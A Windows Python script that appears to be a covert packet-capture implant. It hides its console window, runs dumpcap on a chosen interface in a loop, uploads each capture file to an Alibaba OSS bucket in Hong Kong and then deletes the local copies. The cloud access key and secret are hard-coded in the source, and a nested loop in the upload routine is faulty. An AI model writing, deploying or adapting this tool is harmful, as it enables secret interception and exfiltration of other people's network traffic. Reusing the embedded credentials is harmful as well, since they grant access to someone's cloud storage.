# coding:utf-8
import os
import psutil
import sys
import oss2
import traceback
import time
import threading
import argparse
import ctypes


def get_all_process():
    process_list = {}
    for proc in psutil.process_iter():
        try:
            pinfo = proc.as_dict(attrs=['pid', 'name'])
            process_list[pinfo['pid']] = pinfo['name']
        except psutil.NoSuchProcess:
            pass
    return process_list


def check_mutex():
    if not os.path.exists(pid_path):
        return False
    else:
        with open(pid_path, mode='r', encoding='utf-8') as f:
            pid = f.read()
            pid = int(pid)
            process_dict = get_all_process()
            if pid in process_dict.keys():
                if process_dict[pid] == 'cap.exe':
                    return True
                else:
                    return False
            else:
                return False


def check_cap():
    try:
        process_list = get_all_process()
        dumpcap_path = 'dumpcap.exe'
        pcap_path = os.path.join(data_dir, 'xcap.pcap')
        is_runing = False
        for pid in process_list.keys():
            if process_list[pid] == 'dumpcap.exe':
                is_runing = True
                break
        if not is_runing:
            command = '{} -i {} -f "{}" -w {} -b filesize:{}'.format(dumpcap_path, InterfaceID, filter_text, pcap_path, size * 1024)
            print(command)
            os.popen(command)
    except:
        traceback.print_exc()

def do():
    while True:
        try:
            os.system('TASKKILL /F /IM dumpcap.exe')
            file_list = os.listdir(data_dir)
            for filename in file_list:
                if filename.endswith('.pcap') and filename not in uploaded:
                    for filename in file_list:
                        uploaded.append(filename)
                        file_path = os.path.join(data_dir, filename)
                        print('upload:', file_path)
                        auth = oss2.Auth(AccessKeyID, AccessKeySecret)
                        bucket = oss2.Bucket(auth, endpoint, bucket_name)
                        file_name = os.path.basename(file_path)
                        oss_path = 'data' + '/{}'.format(file_name)
                        with open(file_path, 'rb') as fileobj:
                            bucket.put_object(oss_path, fileobj)
                        print('upload complete', file_path)
                        os.remove(file_path)
            check_cap()
        except:
            traceback.print_exc()
        finally:
            time.sleep(sleeptime)

if __name__ == '__main__':
    whnd = ctypes.windll.kernel32.GetConsoleWindow()
    if whnd != 0:
        ctypes.windll.user32.ShowWindow(whnd, 0)
        ctypes.windll.kernel32.CloseHandle(whnd)
    parser = argparse.ArgumentParser()
    parser.add_argument('-i', type=int, help='input interface ID')
    parser.add_argument('-f', help='input filter text')
    parser.add_argument('-s',type=int,  help='input Size MB')
    parser.add_argument('-w', type=int, help='input Size MB')
    args = parser.parse_args()
    InterfaceID = args.i
    filter_text = args.f
    size = args.s
    sleeptime = args.w
    uploaded = []
    AccessKeyID = 'LTAI4GDwKDQ7npDQVaxCcUSB'
    AccessKeySecret = 'mjDt3ExyKopCf5Gk2EhkvTU0jJWokQ'
    endpoint = 'oss-cn-hongkong.aliyuncs.com'
    bucket_name = 'dyjcap'
    data_dir = os.path.join(os.getenv('public'), 'cap_data')
    if not os.path.exists(data_dir):
        os.makedirs(data_dir)
    pid_path = os.path.join(os.getenv('public'), 'cap.pid')
    if check_mutex() == True:
        sys.exit()
    else:
        os.system('TASKKILL /F /IM dumpcap.exe')
        with open(pid_path, mode='w', encoding='utf-8') as f:
            f.write(str(os.getpid()))
        do()
